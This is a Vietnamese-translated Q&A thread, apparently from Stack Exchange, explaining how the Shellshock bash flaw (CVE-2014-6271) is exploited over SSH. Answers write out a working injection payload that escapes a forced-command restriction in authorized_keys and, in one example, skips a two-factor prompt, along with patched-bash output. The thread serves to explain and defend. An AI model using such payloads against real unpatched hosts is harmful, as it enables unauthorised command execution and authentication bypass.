shellshock có thể được khai thác qua SSH như thế nào?


68

Rõ ràng, shellshock Bash khai thác CVE-2014-6271 có thể được khai thác qua mạng thông qua SSH. Tôi có thể tưởng tượng cách khai thác sẽ hoạt động thông qua Apache / CGI, nhưng tôi không thể tưởng tượng được cách thức hoạt động trên SSH?

Ai đó có thể vui lòng cung cấp một ví dụ về cách SSH sẽ được khai thác và tác hại nào có thể được thực hiện đối với hệ thống?

LÀM RÕ

AFAIU, chỉ người dùng được xác thực mới có thể khai thác lỗ hổng này thông qua SSH. Công dụng khai thác này cho ai đó, người có quyền truy cập hợp pháp vào hệ thống nào? Ý tôi là, việc khai thác này không có sự leo thang đặc quyền (anh ta không thể trở thành root), vì vậy anh ta không thể làm gì nhiều hơn những gì anh ta có thể làm sau khi đăng nhập hợp pháp thông qua SSH.


Nói một cách đơn giản, nó không thể được thực hiện, trừ khi ai đó đã truy cập vào hộp của bạn. Một bash shell mới chỉ được thực hiện sau một lần thử đăng nhập thành công.
Evert

Tất cả chủ yếu là sự thổi phồng truyền thông, nó có thể xảy ra nhưng nó không tệ như được tạo ra.
jgr208

Tên người dùng đi nguyên văn vào nhật ký? Nếu có, có thể tồn tại một tập lệnh bash logparsing dễ bị tổn thương ở đâu đó ...
PlasmaHH

1
@PlasmaHH Nếu bạn chạy tập lệnh phân tích cú pháp của bạn với quyền root, bạn xứng đáng với những gì bạn nhận được.
Barmar

@Barmar: bên cạnh đó là câu hỏi không dành riêng cho việc truy cập root, nhưng truy cập vào máy (có thể là tất cả những gì cần thiết để ví dụ như xóa nó hoặc làm hại khác), khi bạn có thể chạy mã, rất có thể bạn cũng có thể chạy mã khai thác một cái gì đó khác mà bạn có được root.
PlasmaHH

Câu trả lời:


79

Một ví dụ trong đó điều này có thể được khai thác là trên các máy chủ có authorized_keyslệnh bắt buộc. Khi thêm một mục vào ~/.ssh/authorized_keys, bạn có thể thêm tiền tố vào dòng command="foo"để buộc foophải chạy bất cứ khi nào sử dụng khóa chung ssh. Với khai thác này, nếu trình bao của người dùng mục tiêu được đặt thành bash, họ có thể tận dụng khai thác để chạy những thứ khác ngoài lệnh mà họ buộc phải thực hiện.

Điều này có thể có ý nghĩa hơn trong ví dụ, vì vậy đây là một ví dụ:

sudo useradd -d /testuser -s /bin/bash testuser
sudo mkdir -p /testuser/.ssh
sudo sh -c "echo command=\\\"echo starting sleep; sleep 1\\\" $(cat ~/.ssh/id_rsa.pub) > /testuser/.ssh/authorized_keys"
sudo chown -R testuser /testuser

Ở đây chúng tôi thiết lập một người dùng testuser, buộc mọi kết nối ssh sử dụng khóa ssh của bạn để chạy echo starting sleep; sleep 1.

Chúng tôi có thể kiểm tra điều này với:

$ ssh testuser@localhost echo something else
starting sleep

Lưu ý cách chúng echo something elseta không chạy, nhưng các starting sleeplệnh bắt buộc đã chạy.

Bây giờ hãy cho thấy cách khai thác này có thể được sử dụng:

$ ssh testuser@localhost '() { :;}; echo MALICIOUS CODE'
MALICIOUS CODE
starting sleep

Điều này hoạt động vì sshdđặt SSH_ORIGINAL_COMMANDbiến môi trường cho lệnh được truyền. Vì vậy, mặc dù sshdđã chạy sleepvà không phải lệnh tôi đã nói với nó, vì khai thác, mã của tôi vẫn được chạy.


1
thay vào đó hãy thử điều này: ssh testuser@localhost echo something else '`whoami`' để chứng minh nơi lệnh đang được thực thi
Richard

1
Tôi sẽ thêm vào câu trả lời này rằng về mặt SSH, việc khai thác chỉ cho phép người dùng được ủy quyền có khóa ủy quyền (khóa được ủy quyền có thể được coi là mật khẩu dài) để chạy các lệnh mà họ thường không được phép chạy. Nó không cho phép ai đó không có khóa ủy quyền đó để làm bất cứ điều gì. Tôi không nghĩ rằng điều này rõ ràng từ câu trả lời nếu bạn không hiểu rõ về SSH và ý nghĩa của ủy quyền.
Chris Dragon

@skrewler Đó thường là một dấu hiệu tốt bạn đang hiểu sai điều gì đó. Ví dụ: câu trả lời là giải thích làm thế nào nếu người kiểm tra được quản trị viên cung cấp thiết lập tài khoản được cung cấp, làm thế nào người kiểm tra có thể thoát khỏi những hạn chế mà họ đưa ra. Và không, không có bất kỳ sự liên quan nào với bash có nghĩa là bạn có thể khai thác shellshock. Chỉ khi bash chạy với quyền mà người dùng thường không có, nhưng người dùng đó mới có ảnh hưởng đến các biến môi trường của bash đó.
Patrick

Ok, tôi hiểu những gì bạn đang cố gắng hiển thị ngay bây giờ - một thiết lập giới hạn người kiểm tra đối với lệnh trong. Trái_key và không phải là vỏ đăng nhập. Tôi không có ý nghĩa gì đối với tôi khi chỉnh sửa.
skrewler

26

Mở rộng ví dụ từ Ramesh - nếu bạn sử dụng xác thực hai yếu tố, có thể bỏ qua yếu tố thứ hai bằng cách sử dụng khai thác này, tùy thuộc vào cách triển khai.

- Đăng nhập bình thường -

[10:30:51]$ ssh -p 2102 localhost
password:
Duo two-factor login

Enter a passcode or select one of the following options:

 1. Duo Push to XXX-XXX-XXXX
 2. Phone call to XXX-XXX-XXXX
 3. SMS passcodes to XXX-XXX-XXXX (next code starts with: 2)

Passcode or option (1-3): 1

Pushed a login request to your device...
Success. Logging you in...
[server01 ~]$ logout

- Chạy mã không có 2FA -

[10:31:24]$ ssh -p 2102 localhost '() { :;}; echo MALICIOUS CODE'
password:
MALICIOUS CODE

Bạn sẽ nhận thấy nó chạy mã mà không cần nhắc 2FA.

- Sau khi vá bash -

[10:39:10]$ ssh -p 2102 localhost '() { :;}; echo MALICIOUS CODE'
password:
bash: warning: SSH_ORIGINAL_COMMAND: ignoring function definition attempt
bash: error importing function definition for `SSH_ORIGINAL_COMMAND’

1
Chỉ để hạn chế sự hoảng loạn của những người đọc cuối cùng sử dụng yếu tố thứ hai: "tùy thuộc vào cách nó được triển khai" - Tôi cho rằng bạn đã giả định rằng yếu tố thứ hai ở đây được thực hiện trong bash hoặc sử dụng readchức năng. Mặt khác - người dùng an toàn.
Grzegorz Wierzowiecki

25

Shellshock là một lỗ hổng trên bash, không phải trên SSH. Để khai thác nó, kẻ tấn công cần phải làm cho hệ thống dễ bị tổn thương chạy bash và kiểm soát giá trị của biến môi trường sẽ được chuyển sang bash.

Để đạt được quy trình bash thông qua SSH, kẻ tấn công cần phải vượt qua các bước xác thực. (Có thể có các vectơ tấn công thông qua các dịch vụ mạng khác, nhưng chúng nằm ngoài phạm vi của luồng này.) Nếu tài khoản được phép chạy các lệnh shell tùy ý, không có cuộc tấn công nào. Lỗ hổng phát huy tác dụng nếu tài khoản bị hạn chế chạy các lệnh cụ thể: ví dụ: tài khoản chỉ SFTP hoặc tài khoản chỉ git, v.v.

Có một số cách để hạn chế tài khoản chạy một lệnh cụ thể với SSH: với ForceCommandtùy chọn trong sshd_confighoặc với a command=. hạn chế trong authorized_keystập tin. Nếu trình bao của người dùng bị lỗi, thì lỗ hổng Shellshock cho phép người dùng thường chỉ có quyền truy cập vào tài khoản bị hạn chế để bỏ qua hạn chế và thực hiện các lệnh tùy ý.


Và điều này KHÔNG làm việc cho các shell khác, như thế zsh.
Eir Nym
Khi sử dụng trang web của chúng tôi, bạn xác nhận rằng bạn đã đọc và hiểu Chính sách cookieChính sách bảo mật của chúng tôi.
Licensed under cc by-sa 3.0 with attribution required.